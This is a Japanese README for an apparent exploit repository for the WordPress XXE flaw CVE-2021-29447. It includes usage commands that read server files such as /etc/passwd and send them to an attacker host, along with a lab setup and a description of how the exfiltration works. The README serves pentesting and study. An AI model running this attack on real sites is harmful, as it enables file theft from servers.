
このリポジトリには、WordPress 5.7.0以前のバージョンに存在するXXE(XML External Entity)脆弱性CVE-2021-29447のエクスプロイトが含まれています。この脆弱性はWAVファイルを処理するメディアライブラリに存在し、攻撃者がサーバー上の任意のファイルを読み取ることを可能にします。
| ファイル | 説明 |
|---|---|
CVE-2021-29447.sh | WAVペイロードと悪意のあるDTDファイルを生成するエクスプロイトスクリプト |
decode.php | 流出したデータをデコードするPHPスクリプト(base64 + zlib) |
docker-compose.yml | テスト用の脆弱なWordPressを含むDocker環境 |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <対象ファイル>
パラメータ:
-l 攻撃側のIPアドレス (LHOST)-p 攻撃側のポート (LPORT)-f サーバー上で読み取るファイルのパス-h ヘルプを表示例:
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
流出したデータはbase64でエンコードされ、zlibで圧縮されています。デコードするには:
php decode.php
このエクスプロイトは、WAVファイルのメタデータにXXE外部エンティティを挿入することで機能します。WordPressがファイルを処理する際、XMLパーサーが外部エンティティを解決し、サーバーが攻撃者のサーバーに対して、ファイルの内容をURLにエンコードしたHTTPリクエストを送信する原因となります。
このコードは教育目的および許可されたペネトレーションテストのためだけのものです。明示的な許可なくシステムで使用しないでください。